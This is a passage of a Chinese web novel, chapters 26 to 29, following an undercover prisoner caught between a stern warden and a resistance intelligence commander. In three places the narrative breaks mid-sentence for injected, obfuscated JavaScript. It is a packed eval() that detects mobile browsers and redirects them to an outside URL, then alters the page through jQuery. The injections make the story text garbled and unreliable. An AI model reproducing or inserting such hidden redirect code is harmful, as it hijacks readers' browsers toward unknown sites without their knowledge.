“看你似乎已经乐不思蜀了,”他向前逼近一步,“陆风的床,也比C监好睡不少吧?” “你脑子里怎么只有那点事儿?”叶眠反感地皱了皱眉,“我又不是没干活。” “干活,指的是,跟陆风来天空之脊约会?”法蒙深吸一口气,尽量保持平静,但无论是他压迫性的站位还是越来越暗的脸,都显露出一种即将迸发的态势。 叶眠的脸几乎整个落在阴影中,只眼睛里有两点光,恒亮。 她稍微推了推法蒙,不合时宜地说:“等一下,等一下。你太高了,往后点,我仰着脖子头疼。” 法蒙一愣,感觉心底有丛火,“蹭”一下子窜了上来,然后再也不可遏制。 因为训诫的习惯,他勃然大怒下的第一反应,是想逮住叶眠衣领质问。又因为她穿的是裙子,无从下手,于是演变成捏住她的禁制环,发力一拉。 叶眠往前踉跄一步,帽子落地。但她没生气,甚至没挣扎,只抬起双手搭住他的小臂借力,然后就这样仰着头,注视着他。 军装的粗呢面料比衬衣差太多了,她想。 “你……” 场面诡异到出人意料,不知为何,训斥的半句话堵在法蒙嗓子里,没能说出口。 他双唇微开,眉峰压紧,气势迫人,只是面对着叶眠无害又清白的眼神,满腔怒火不上不下地悬在半空,一时没有动作。 然后,叶眠动了。 她拍了拍他的手臂。 “典狱长,中将,说真的,你别急。看看我们现在,像个什么样子?” 法蒙也想问,这像个什么样子? 叶眠力道不重,他却烫到一样撒了手,甚至莫名其妙地退了半步,像是生怕被什么脏东西黏上一般。 右臂下垂,碰过叶眠的手指皮肤还在宣扬着某种温暖柔软的触感。 ……怎么回事? 叶眠捏着节奏见好就收,不给他任何想清楚的时间,开口就是正事:“基地防守分布还没搞清楚,只知道是在下城区的地下。目前拿的消息里,不重要的包括陆风眼睛有问题,重要的,可能是反抗军指挥使换届?” 她语气不确定,心中却肯定。 反抗军换届是大事,对于法蒙来说绝对也称得上重磅。 摇动的心神被强拽回来,其他怪异的感觉也被他极致的自控力全面压下。 “换届?时间,地点?”依然是冷脸,法蒙语气认真冷静了不少。 “我回了反抗军几天?”叶眠反问。 知道他不会接话,于是她自问自答:“两天。” 一切尽在不言中。 “所以你到底在急什么?”叶眠看着他,语气不解,“简直像是看到妻子外遇的丈夫,但你给我指派的工作,不就是卧底吗?” 卧底的献身,不是再正常不过的事情吗? 26. 第 26 章 法蒙没有开口,但显然,纯粹的沉默压不垮叶眠。 她不闪不避地看着他,一手捂着脖子,像是单纯无法理解,也像在催促。 ——你说啊?为什么? ——怎么说? 说我以为你这半个月表现出的一切都是为了回到陆风身边。 说刚刚有一瞬间我想把你们两个都杀了。 说我有点情绪失控,这很少见。 法蒙眉头紧到发僵。 正因为强大到披靡的自控力,他可以清楚地分辨出自己的状态——眼下,他实在说不上理智。 但他不懂,这像火一样卷上来的情绪,仿佛小虫钻入心脏的感觉,叫占有,也叫嫉妒。 这是无知无觉的人陷入沼泽前的第一道警告,但是他没遇见过,所以只能简单划归到“情绪失控”的范畴。 叶眠静静地看着他表情的每一分变化,所有的纠结、犹豫、愤怒、自我攻讦……尽收眼底。 她有点惊讶,但又觉得理所当然:原来是这样。 叶眠没有再逼他,而是松松紧紧,再次说回陆风。 “陆风的眼睛是我之后几天调查的重点,三个月后的换届我肯定会到场,在此之前,我要摸清楚他的眼睛是怎么回事。” 法蒙沉默了很久,久到叶眠开始考虑怎么继续话题,他才开口:“好。” 嗓音干涩,太不自然。 他察觉之后,脸上低气压的表情更是阴沉三分。 叶眠仿佛一无所觉,甚至做出松了口气的样子:“第一次做卧底,不太熟练。所以,以后我需要尽量减少跟他的身体接触吗?” 法蒙得到了一个能够说服自己的结论:他看好的人,明明拥有一切成为一个优秀下属的品质,却要在陆风眼前做低伏小,所以他感到不满,其实,也正常。 他无视了自己听到叶眠最后一句问话的不适感。 “不用,你跟他正常相处就行。”法蒙的脸色沉静,叶眠明白——翻篇了。 毕竟,除了故意亲陆风一口试探典狱长反应,她哪里都没做错,对吧? “加个终端,”叶眠自然地说,“下次说不定有急事联系你。等刘仁主动来找我,黄花菜都凉了。” 这次法蒙没有拒绝,他说不清自己是种什么心态,只是看着叶眠把他的联系方式拉到隐藏,然后再次抬头。 “还有什么事吗?没有的话陆风还在等我。”她说。 陆风,又是陆风。 阴魂不散,要是杀了他就能解决反抗军,何苦如此周旋? “走吧,”法蒙捡起帽子递给她,然后上前一步按下电梯,“我们分开走。” “您先?”叶眠接过帽子,礼貌地退了一点。 “……你先。” 电梯门合上前的最后一刻,叶眠跟法蒙的视线还缠在一起。等下一秒彻底闭合,她的表情才整段垮掉。 啧,雷声大雨点小。 但不管怎么说,她也是踩着高压线跳舞。 摊上这么个阴晴不定的上司,也不知道法蒙的下属都是怎么熬过来的。 根据陆风的坐标,叶眠很快找到了坐在车里的人。 “这个消息怎么样?”她压着帽子,把手臂搭在车窗上。 陆风抬眼,表情松散:“非常惊喜。” “真没想到能在这里遇见,”叶眠顿了顿,“还好他看起来没什么杀意。” “你说得对,我们两个站在一起,就是最大的风险,”陆风叹气,“你搞的那一大束花太显眼,他绝对往这边看了。” 他想不到那是叶眠为了吸引法蒙注意整的花活,叶眠也不会主动提起。 “那路青这个身份,是不是以后都不能用了?”她问。 “也不至于,”陆风也没那么被动,“法蒙一直针对反抗军,我的身份他肯定也查到不少。到现在没对我动杀心,可能也是知道我这个指挥使死了,还会有很多指挥使替上来。” “上车,”他一笑,“他杀了我,还不如养着我,往我身边栽卧底,这样才好顺藤摸瓜。” 叶眠表情不动如山:“害。” 两人有些沉默地回了基地,陆风似乎有什么急事,匆匆忙忙地离开了。 叶眠回到房间,打开终端骚扰同事哥。 遇到困难睡大觉:“法蒙有爱人吗?” 白干全白干:“?” 遇到困难睡大觉:“年轻中将,快三十岁,最好的年纪,身边没有女人吗?” 白干全白干:“他是性冷淡[笑脸]。” 这在联盟不是个秘密,所以沈舒白卖法蒙一点都没犹豫。 叶眠摸摸下巴,笑了。 那可真是有点意思。 沈舒白还在劝。 白干全白干:“你不要对他有什么想法啊,他真不是那种人。” 遇到困难睡大觉:“瞧你说的,我就是那种人吗?” 沈舒白想到她捏着纸巾擦过自己下巴的恶劣行径,打了个寒战。 你怎么不是! 你太是了! 收收神通吧! 遇到困难睡大觉:“别说那个了。我现在这个情况,陆风不在身边根本没啥好查的,有没有别的活儿给我干?怪无聊的。” 白干全白干:“你安稳当个花瓶就好了。” [白干全白干撤回了一条消息。] 遇到困难睡大觉:“[笑脸]。” 白干全白干:“哎,那什么,倒还真有一个。” 遇到困难睡大觉:“嗯哼?” 白干全白干:“基地档案室,知道在哪吗?我给你远程黑掉权限,你进去查查前任指挥使跟联盟家族的来往。” 白干全白干:“档案室分两层,外层权限我有,但机密库不行。我自己进不去,必须得找人跟我配合[哭脸]。” 遇到困难睡大觉:“中,姐帮你。” 白干全白干:“[谢主隆恩]。” 叶眠换了身裤装,顺手给陆风发了句:“我在基地里转转。” 养成报备的良好习惯,让男人不再费心牵挂。 她真好。 坐了直升飞梯来到档案室门口,叶眠刷卡进入第一层档案库。 密闭方形空间内悬着四盏昏暗的灯,耳朵里只能听见换气设施的嗡鸣,地上桌子上堆满了纸质材料,看起来不久前还有人来查过东西。 叶眠漫不经心地走到第二扇门前,心道我这可是二级权限,能不能直接进? 可能是猜到她心中所想,被临时征用的耳机里想起同事哥变调的声音:“机密库需要一级或者零级权限,稍等。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只凭她还没长全的脑子记下所有信息实在太过苛刻,叶眠选择接上终端,直接导出文件发给同事。等待进度条期间,她津津有味地翻到32届,开始看陆风的生平。 看起来守家确实不是什么好差事,相比于31届的陆峰的丰功伟绩,32届的陆风似乎没做什么大事,各类别下的零星条目实在乏善可陈。 叶眠一边感慨着,一边翻到33届。 “有什么想知道的,其实直接问就好。”陆风说。 “那哪行啊,您贵人……”叶眠收声,重重地咳嗽了一下。 陆风低头看显示屏:“在研究我?” “嗯。”叶眠老实地像个鹌鹑,“毕竟我忘了很多事。” “你从这里看不到真正的我,只能看到别人眼里的我。” 趁陆风站直,叶眠迅速收起终端。 “叶眠,”陆风叹了口气,“别闹脾气了,这不是你该来的地方。” 手指放在背后迅速删除文件记录,她垂着眼不敢跟陆风对视,像是知道自己做错事了一样。 耳机里的通讯声也早就断了。 叶眠:同事哥,等我能活过这一遭,你好歹得赔我点东西当精神损失费。 27. 第 27 章 “可是,你不懂我醒来什么都忘了的心情,”叶眠抬起眼睛,跟他对视,剖心剖肝地讲,“我不记得你,不记得这里,不记得我杀了谁又是为什么杀了他、然后落进监狱。” 陆风低头看着她,眼中晃着一点让人猜不到透的思索,像藤条垂进水面牵出不规则的涟漪,又像潜藏于波纹下伺机而动的水蛇。 “陆风,我相信你爱我,”叶眠抓住他的袖子,坚强底色中暗含一线脆弱,显眼到让人无法忽视,“但是我不能不明不白地接受你,所以我才更迫切地想找回我们的过去。” 她无声苦笑,轻轻说:“你当我慌不择路吧。” 说完这句,叶眠后心的汗都渗出来了。 她给这段戏精附体的紧急避险打98.6分,因为看着陆风不为所动的样子,她感觉自己还是有一点四了。 陆风凝视她半晌。 叶眠瞪着带点水色的眼睛,把嘴唇咬到泛白,心里已经做了无数个预案,确保自己在他动手第一时间能伤亡最小地逃走。 然而她越想越发现:很难。 没有异能,陆风捏死她几乎是手拿把掐。 如果能苟过这一波,她一定去催催(划掉)求求小沈…… “别咬了。” 叶眠脑子里已经快进到“杀头不过碗大条疤”,结果陆风只是伸手揉开她的嘴角,语气克制。 “你这些小习惯,失忆了也一点没改。” 叶眠眨眼,像是没听懂话一样。 “如果不是这些,我都要怀疑你是不是被人顶包了,”陆风手指提起她的嘴角,表情缓和,“别用这么可怜的表情看着我。” 糊弄过去了? 叶眠下意识又咬了一下,结果被陆风完美预判。 他稍微用了点力气,指腹搓过她的唇面,带来一点微痛。 “还咬。” 真糊弄过去了。 叶眠垂下头,藏起了所有的如释重负。 “刘勇也算做了件好事,”陆风强势地抬起她的下巴,一眼撞上了叶眠调整完情绪的双眼,“过去既往不咎,就当我们从新开始。” 叶眠眼睛忽闪忽闪。 陆风单手把她的脸颊肉往中间一捏:“说话。” 叶眠:“烧什呃(说什么)?” 陆风:“……说你愿意。” 叶眠毫无负担:“额演绎(我愿意)。” 叶绵绵的过去属于叶绵绵,重生之后的叶眠才是叶眠,两个人她分得很清。 叶绵绵跟陆风能有什么好结局? 叶眠跟陆风更不会有。 赶紧翻篇,她超愿意。 陆风笑了下,松开叶眠的脸,然后把人环腰楼过,在她耳边叹了一声。 叶眠手抵在他胸前,心想:你又在高兴什么? 还有,“刘勇做得好”又是什么意思? 这个“既往不咎”一出,怎么感觉他比我还释然? “如果不是刘勇,我说不定现在已经在长头发了,”叶眠推了推他,语气幽怨,“你说的刘勇,是用钢筋□□脑袋的那个弟弟,还是后来对我痛下杀手那个哥哥?” “嗯?”陆风松开她,“两个刘勇?” 叶眠讲了讲兄弟俩的事情,陆风沉默了一会儿,摸了摸她拆完一半纱布的脑袋:“还好你没事。” “你知道刘毅进了C监,那你知道他是接了谁的悬赏吗?”叶眠拽了拽他衣角,一脸求知欲。 好不容易逮到个机会,赶紧把能问的都问了。 “蒋钰。”陆风表情淡淡,似乎说完这个名字,还有些想补充的,但最终都被压了下去,变成不见影的暗潮。 ——蒋仕临的儿子,还真是替父报仇的戏码。 叶眠又问:“那我从C监出来,他还会再追加悬赏来杀我吗?” “做好保密工作,他会以为你死在里面了,”陆风亲了一下她的额头,“不用担心。” 叶眠幽幽地说:“不是说等把叶绵绵哄回来再亲吗?” 陆风笑:“都既往不咎了。” 叶眠掐他一把:“切磋我赢了。” “行,”陆风纵容了,捏了捏她的掌心,“晚上听你的。” 叶眠眼角一抽,下一刻,陆风终端震动。 “小沈医生找我,”陆风看了一眼说,“你自己回去,可以?” 叶眠忙不迭点头,麻利地抬脚往外走,听到身后陆风接起通讯的声音。 “上次漏了一项检查?这可不像你的作风。” - 晚上,叶眠左等右等陆风也没回来,她无聊到发慌,翻出终端列表开始挨个骚扰。 陆风,略过。 今晚不回来最好。 同事哥?戳一下。 遇到困难睡大觉:“同事哥,你把我害惨了。” 遇到困难睡大觉:“贴身卧底真的很难做,法蒙应该给我发工资[哭脸]。” 遇到困难睡大觉:“还有,纯机械手枪局限实在太大了,陆风异能跟鬼一样,来去无影,根本瞄不中。我需要更强的武器,或者给我开放紧急情况下的异能使用权,帮我跟老大说说情呗[笑脸]。” 遇到困难睡大觉:“同事哥?” 叶眠勾搭同事哥不成,干脆直接找正主。 她还在考虑怎么把今天的遭遇夸大扭曲一些,法蒙却先发来消息:“半个月后有空吗?” 遇到困难睡大觉:“有空的。您怎么想起我了?[笑脸]” 遇到困难睡大觉:“[玫瑰]*99。” 天色昏暗,下班点已经过了三个小时,法蒙还坐在典狱长办公室里,一边听着烟花报告整改进度,一边分神联系叶眠。 “典狱长先生?”烟花敏锐察觉对方走神,小心询问。 “成何体统。” 法蒙眉压眼的五官本就有八分严厉,眼下因为这句话更显苛刻,烟花一愣,结果他一抬头,面无表情地说:“继续。” 烟花心中颇有微词,刚要继续她的发言,又被再次打断。 法蒙一脸正色:“如果旁人送了99朵玫瑰,你会怎么回应?” 烟花:? 她揣摩着法蒙的想法,小心地建议:“谢谢她?” 法蒙眉头皱成川字,心想这狱警实在无情,手下犹豫了几秒,好歹是回复了。 法蒙:“[玫瑰]。” 另外一边的叶眠:? 烟花觑着这位典狱长实在说不上高兴的表情,诚实地说:“如果是不想应付的人,您大可不用理会的。” 不然活像冷脸洗内裤的大怨种。但她不敢说。 法蒙想着德里克的宴会,心烦地挥了挥手:“这边你看着管,别闹出像之前278号那种大乱子就行,狱警有些压线的行为也正常,我要的是可控。” 他看起来要走,烟花犹豫了一下,稍微一拦:“中将,您对边境三师的士兵们也是这个态度吗?” 她姿态放得恭敬,但说话却不太好听:“如果压线的行为都可以纵容,那在看不见的地方,越线的行为只会越来越多。” “作为管理者,你精力有限,不可能面面俱到地管住所有人,”法蒙视线扫来,少见地指点了几句,“有的放矢才能更好控制下属,你没坐过这个位置,不懂也正常。” 烟花在心里叹了一声。 监狱的三级管理就像一个微缩的社会三层,最高层的人一边控制管理中层,一边纵容中层压线,所以受欺受辱的只会是最底层,在监狱,便是囚犯受到的区别待遇。 狱风不正不是某几个人促成的,不论是更早带头作恶的萨利,还是现在心不在焉的法蒙,C监一直是从根烂到尖。 “叶眠说得没错,”烟花说,“您不适合做这个典狱长。” 法蒙下巴微抬,正视这个代替了黑兔子位置的女狱警。 他声音加重:“叶眠?” 烟花恭敬地笑了笑,下一句却岔开话题:“天色太晚了,剩下的也没什么特别的事情,看起来您也急着离开,我祝您早日离任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224758|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,得偿所愿。” 她帮法蒙推开门,见他没有动静,干脆自行告退。 等她走没影了,法蒙依然没回过神来。 现在什么人都能指着他阴阳怪气了吗? 他感受到了不被尊重的怒气,心道这人实在不识好歹,一边又感受到了微不可查的疑惑——难道我真不适合做这个典狱长? 再低头一看叶眠发来的消息。 遇到困难睡大觉:“[笑脸]。” 法蒙带着迁怒点评:这个ID也起得不怎么样。 一个为上级分忧的优秀下属,怎么能看起来没有一点工作热情? 法蒙:“半个月后有一场化妆舞会,你来做我的女伴。” 叶眠:? 我? 似乎也是察觉到逻辑不通,法蒙又补了一句:“是A环内的宴会,我带下属会有混淆公私的嫌疑。你身份单薄,出狱的时候还专门做了保密工作,正好能配合我。” 遇到困难睡大觉:“你在找我帮忙吗?” 法蒙默了默,过了会儿才回:“是。” 遇到困难睡大觉:“如果只需要我出人,能帮上忙我当然愿意,但是今天偷资料差点被陆风发现,我想申请额外补助,您看……?” 法蒙:“说。” 遇到困难睡大觉:“如果你不愿意放开禁制环权限,请给我批放更高杀伤的武器。” 遇到困难睡大觉:“陆风异能太强,想杀我太容易了。” 陆风,啧。 法蒙:“可以,等下次见面。” 遇到困难睡大觉:“[笑脸]。” 叶眠摸着下巴,没想到事情这么顺利。 法蒙这人实在阴晴不定,心情好了就大赦天下,心情不好就统统死刑。 放下这点疑虑,她翻回跟同事哥的聊天框,却见对面几分钟前简短地回了句:“在忙。” 有点少见。 沈舒白挪走面前的空酒杯,拍了拍扑在桌子上几乎不省人事的陆风。 “嗯……绵绵……”陆风眼都不睁地拽他。 沈舒白迅速收手:不不不不不要过来! 他磨着后牙,心想陆风真给我出难题,一边切换到小沈医生的账号,搜索叶眠ID。 叶眠收到了好友申请,心下奇怪。 沈医生:“叶女士,你好。陆指挥跟我在——酒吧,你看,方不方便来接他一下?” 陆风适时地顾涌了一下:“嗯……绵绵来接我……我就走……” 沈舒白面无表情地看着他,心中磨刀霍霍,想给他录下来算了。 叶眠在本来已经准备今晚独守空房,眼下看这个情况,还得出门一趟。她有些好奇陆风又在耍什么心眼,于是扣上帽子就出发了。 整张脸都捂得严严实实,但夜间的士师傅看了她好几眼,等她到了酒吧下车,司机开口:“美女……” 然后被她冷漠到极点的眼神吓了回去。 “在这等我。”她说。 叶眠身无分文,好在她气场够足,一路雄赳赳气昂昂地找到了一坐一躺的二人。 “叶女士,”沈舒白起身,语气礼貌,“抱歉,我没拦住,他喝多了。” 下午为了给叶眠解围,他急中生智圈了几项莫须有的检查。没想到检查做完了,陆风感慨地说要请他吃饭,席间提了几句叶秘书,后面就越扯越远、满嘴胡话。 叶眠定睛一看,相比于醉成烂泥的陆风,沈舒白除去乱了几根头发丝,整个人都算得上体面。 她裹了裹外套,走近拍了拍陆风肩膀:“喂。” “嗯……”陆风一伸胳膊,正好把叶眠圈了过去,然后头埋在她腰间蹭了蹭,“绵绵……” 沈舒白抿着唇角,冷静转头:非礼勿视。 叶眠低头,看着陆风黑黝黝的发顶,伸手给他揉乱:“真醉了?” “嗯……”他又蹭了蹭,衣料被扯动,看不清脸。 叶眠心中冷笑:我信你个鬼,你个情报贩子坏得很。 28. 第 28 章 “帮我一把。”叶眠拉起陆风的一只胳膊,跨到自己脖子上。 沈舒白上前扶了一下,就见陆风跟软体动物一样,缓慢且自然地爬上了叶眠的肩膀。 看着他流畅的动作,再看冷笑的叶眠,沈舒白:……我是你们play的一环吗? “沈医生,”叶眠掂麻袋一样薅起陆风,想了想,觉得有些不合时宜,又改了话头,“我们改天再说。” 沈舒白一愣,下意识张嘴:“什么?” 陆风若有所觉地掀开眼皮,被叶眠摁住头顶:“你睡你的。” 不是醉酒吗,接着醉啊? “想问陆风的眼睛,”叶眠对着沈舒白露出一个微笑,“沈医生。” - “你问他干嘛,问我啊。”陆风被塞进车里的时候还在嘟嘟囔囔地说。 叶眠用沈医生刚转的钱付了车费,然后跟司机定下目的地。 “叶眠……”陆风黏黏糊糊地凑过来,然后被推开。 “装上瘾了?” “嗯……”他又蹭过来,好像没骨头一样,非得压着她肩膀,“没有……” 叶眠手指顶住他脑门,指甲甚至戳出了个浅浅的月牙印子。 “好好坐着,”她把他人整个推正,然后抽出安全带绑了个死结,这才对颤颤巍巍的司机歉然一笑,好像之前恐吓他的根本不是自己,“见笑。” 下车后,陆风主动伸出胳膊让叶眠架着,几乎是半瘫在她身上,深一脚浅一脚地回了基地。 最后,他被无情地摔在沙发上。 “你四舍五入两百斤的人,压我身上也就控着有个八十斤,”叶眠伸了个懒腰,先把他墨镜放到胸前的口袋里,再拨开他的额发露出眼睛,最后拍了拍他脸颊,确保他在听,“再给我装呢?” 陆风不答,眼里写满了迷茫。 叶眠把他的衬衣扒了下来,然后就准备让陆风自生自灭。她转身脱了外套,里面干脆就是睡衣,但陆风硬是拽着她的衣角,像个尾巴一样跟着她往床走。 “醉汉不许上床。”叶眠坚定地抽出被攥出褶皱的睡衣。 “噢,那不醉了。”陆风立刻双手举起,放弃伪装。 叶眠:“……你去洗澡。” 洗干净的陆风获得了稍微好点的待遇,但叶眠还是坚定地指着被推到另一侧的被子:“陆指挥,请。” 虽然没醉,但陆风依然决定放任自己随心行动,他围着浴巾,固执地张开双臂——扑到了叶眠的被团上。 叶眠猝不及防,闷咳一声,气急败坏地推他:“你重死了!!” 社会化训练不足吗怎么乱扑人! 陆风不肯动,八爪鱼一样压在原地,脸几乎埋在她肚子上。两个人身体之间隔着被子,他的手指点上她小臂,仿佛小人爬山一般交替着向上移动。 “陆指挥,你幼不幼稚,”叶眠被他磨得没脾气,好声好气地说,“你如果心里不舒服就去折磨沈医生,我只是个无辜的……掐我干嘛?!” 陆风手指刚“爬”上她大臂,闻言拧了她一下,然后闷闷地说:“你真的瘦了。” “C监饭那么难吃,我不瘦才怪,”叶眠说着,抽出胳膊死命摁他的头,“不起来别起来了,直接把你闷死。” 陆风象征性地挣扎了一下,脸埋在下面笑了声,又不动了。 叶眠:……他用异能给自己放风,这样还真憋不死他。 一小时前,她只是觉得,指挥使不会任由自己在外面喝成醉汉。 但没想到,陆风人很清醒,赖皮程度却直线增加。 她稍微放软了一点语气:“很晚了,陆风,你下去行吗?我们睡觉。” 毛茸茸的后脑勺摇了摇,半湿翘起的发丝一颤一颤,水意洇到叶眠被子上。 叶眠:“……那你还要怎样?” 陆风迅速抬头,露出眼睛:“我想做。” 叶眠忍了忍,还是没忍住,伸手捏住他发根下的脖子皮,狠狠发力:“发晴自己去洗手间解决,去。” 仿佛被命运捏住了后颈皮,陆风终于抬起上半身:“哎哎哎,别掐了,我起。” 叶眠感觉有些不可思议:“陆指挥,你一开始不是这样的。” 看陆风又要当他的赖皮鸵鸟,叶眠直接双手怼上他的脸,持续发力表示推拒:“有话说话,别动手。” 陆风脸皮被她搓到起褶子:“我们之间本来也不是这样的。” 叶眠眼神一动,他接着说:“所以我觉得,我也不能像以前一样了。” ——知错能改是好孩子。 叶眠欣慰地搓了搓他头顶:“你终于醒悟了。叶绵绵不在的时候,心里不舒服多找沈医生喝酒。” ——但别在这发疯。 陆风从她坚定的动作里读出了她的决心。 他翻身躺到旁边,叶眠自然地松开了怼脸的双手,并且替他脸皮幻痛一秒。 “我们可以聊天睡觉,但还是那句话,我没法不明不白地接受你,”叶眠探身过去,拽了被子盖住他的胸膛,“你喝得不少,睡吧。” 陆风仰面朝上。 他躺得位置靠下,个子又高,脚几乎伸到床板之外。 叶眠在等他的反应,没想到他“啧”了一声,又来掀她的被子。 她耐心耗尽了:“陆风。” 小腿发力踹去,被他眼疾手快地接住,叶眠绞过身体迫使他松劲,另一脚踢向陆风的眼睛。后者被迫退避,但表情却没变:“叶眠,我们要在床上打架吗?” “没人能强迫我做不想做的事,”她脚腕受限,一手掀翻被子往陆风头上蒙去,“谁都不行。” “停,”陆风用异能压下沦为武器的被子,“我不是要强迫你。” 叶眠面色冷淡:“最后一次机会,说。” 陆风看着她一双平静到没有爱也没有厌的眼睛,终于肯定——叶绵绵真的不在了,至少眼下这个叶眠,不会为他妥协。 “我们切磋,你赢了,所以听你的,”他也收起了刚刚那股赖皮劲,“不做,但你要不要试试。” 舌尖舔过微开的牙关露出一点猩红,陆风承认,他心里也没底,但这种事情上的低头,在他看来可以划归情趣的范畴——所以他原意试试。 他眼神暗得像黑火,在暖黄的夜灯下,那双棕色的瞳孔里有晴欲,有占有,有不甘,也有跃跃欲试。 叶眠想了想,问:“你干净吗?” 陆风眼皮一抽:“叶眠,不要羞辱我。” “我不问才是羞辱。”她坚持。 舌面跟犬齿的揉擦带来一点痛意,陆风的骄傲不允许他再继续了。 他松开她的脚腕,眼看白皙皮肤上浮现一点红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224759|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕。 “睡吧。” 他起身,冷静地扣好蹭掉大半的浴巾,随手拿起衣服出了卧室。 叶眠眼看他黯然离场,有点可惜地叹了口气。 要她说,其实未尝不可。 - 后面几天,叶眠连陆风人都没见过,不知道是不是被伤着心了。 她并不在意,只是在基地内闲逛,然后高兴地发现了基地建在超市下面的好处。于是,她除了去训练场测试身体强度,三天两头往地面跑——花的都是同事哥的钱。 法蒙最近似乎也在忙,刘仁放下一句“正在审批”就没了影子。叶眠的预算申请不下来,又不好意思挥霍胖子的小金库,干脆去折磨白干兄弟。 咖啡厅里,叶眠抱着三顶颜色各异的假发,有一搭没一搭地搅着咖啡。等沈舒白推门而入,第一眼就看到了那个覆着薄薄发茬的脑袋。 然后他立刻想到紧缩的钱包。 拿着两本材料,沈舒白面色如常地坐到叶眠对面。 “叶女士,”他礼貌妥帖地把文件推到她面前,“这里是一些实验过程,和中间结论。” “嗯哼,”叶眠没看,反正看了也看不懂,“结论是?” “如果可以的话,我需要请你到我那边做一套全身检查。”他说。 “陆风问过我的事吗?”叶眠放下勺子,答非所问。 沈舒白不确定这个问题应该用同事的角度回答,还是该用沈医生的角度答,他笼统地概括:“没有。” 作为卧底同事,他知道陆风在活跃人脉,寻找合适的身份混进德里克家族的舞会。 作为沈医生,他知道陆风忙到这几天根本没回过基地。 “你们吵架了吗?”他多问了一句。 “对,但没关系,”叶眠喝了口咖啡,“我想问问他的眼睛。” 沈舒白在心里想:终于来了。 他清了清嗓子:“陆指挥视力被意外破坏,虽然被治愈了,但眼球依然比常人脆弱。” 叶眠挑眉:“只是脆弱吗?” 沈舒白继续说:“为了当上情报部指挥使,他几年做出了大量假身份,但由于下属投靠了其他人,陆风长期佩戴劣质伪瞳,对眼球造成了无法挽回的二次伤害。” 他叹了口气:“他见不得强光,不管是日光还是大瓦数灯光,所以你看他平日里总是戴墨镜,哪怕是室内,都不是为了耍帅。” 叶眠若有所思:“那很惨了。” 不过,这个特性似乎很适合利用一下,在不同的场合。 沈舒白拿捏不好她会不会上报法蒙,只是略微点头。 抛开作为法蒙朋友的部分,他确实算得上陆风的半个朋友。 那天陆风拉着他喝酒讲了些真心话,所以他捡起说客的职责:“叶女士,对于你流落C监的经历我感到十分惋惜,陆指挥十分担心你回来后的状态。” 叶眠疑惑地问:“我一直不明白,既然有情——你肯定知道——他为什么不直接救我出来呢?” 沈舒白有些难以启齿的样子:“换届对陆指挥来说,太重要了。” “有多重要,”叶眠拉近椅子,上身前倾,“跟他的眼睛第一次受伤有关吗?” 沈舒白讶于她的敏锐,却不想叶眠的下一句更令人心惊:“指挥使之间的关系并不好,对么?” 29. 第 29 章 “确实,”沈舒白的咖啡到了,他往里丢了两块糖,一边搅,一边组织语言,“关系不好到剑拔弩张,陆风不能让自己再在情报部耗三年,他想要真正的权力,能掌握军队的权力。他要报仇。” 叶眠疑惑:“那我呢?他要报他的仇,我给他打工,就活该去死了?” 沈舒白没出声,闷头喝咖啡,他确实不知道该怎么帮陆风洗。 “不拿人当人罢了,”叶眠轻飘飘地说,“蒋仕临也是他的仇人吧?我听命于他为他报仇,但他用完就丢,啧,狼心狗肺。” “说到这个,我倒要感谢那位沈医生,”叶眠笑了笑,话头一转,低着头用手指搓过咖啡杯,“我能活到今天,全靠C监他出手相救。当时我术后失忆无从下手,阴差阳错,获得的唯一信息提示竟然也来自于此人。” 沈舒白开始有点坐立难安了,他觉得自己最好当哑巴,又觉得这话实在太抬举他…… “想必,都是医者本分,”他说完又觉得嗓子发干,“我们这行的人是这样的。” “是吗?”叶眠笑眯眯的,一句话说一半,留他原地忐忑揣度半天。 “叶女士还有什么别的问题吗?”沈舒白有点受不了。 “嗯?我在等你带路去做检查呀。” 叶眠好整以暇地看着他一愣,又恍然,眉间一点恼意,生动得很。 “抱歉,我理解有误,我们现在就走。” 叶眠拿了顶浅绿色的假发戴在头上,两人便离开了咖啡厅。 沈舒白见状多问了一句:“头上刀口恢复得如何?除了失忆之外,有没有隐痛之类的后遗症?” 叶眠:“多梦算吗?或者,小沈医生知不知道,联盟境内哪个死星起过大火?” “多梦这个倒很难解释,死星起火的话,有,”沈舒白详尽地回答,“死星912,位于现在的帝国和联盟接壤带,十几年前起过一次邪火。联盟的调查结果显示A级异能者失控,总之,半个星球地表焦土化,300年内难以孕育新生命。” 叶眠不动声色地想,这倒是个收获,等回去上星网查些资料,或者有机会原地考察一番。 “很巧的是,当时陆风的父亲就在附近执行任务,”沈舒白领她搭上电梯,直奔他的研究室,“所以陆风本人可能会有些了解。” 叶眠直觉告诉自己,这里藏着很重要的信息,她心中记下,一边配合沈舒白抽血。 “关于在佩戴禁制环的条件下正常使用异能,这个问题对于普通异能者来说可能很难实现,但对你来说,”沈舒白想了想才继续说,“更难。” 叶眠“嗯”了一声。 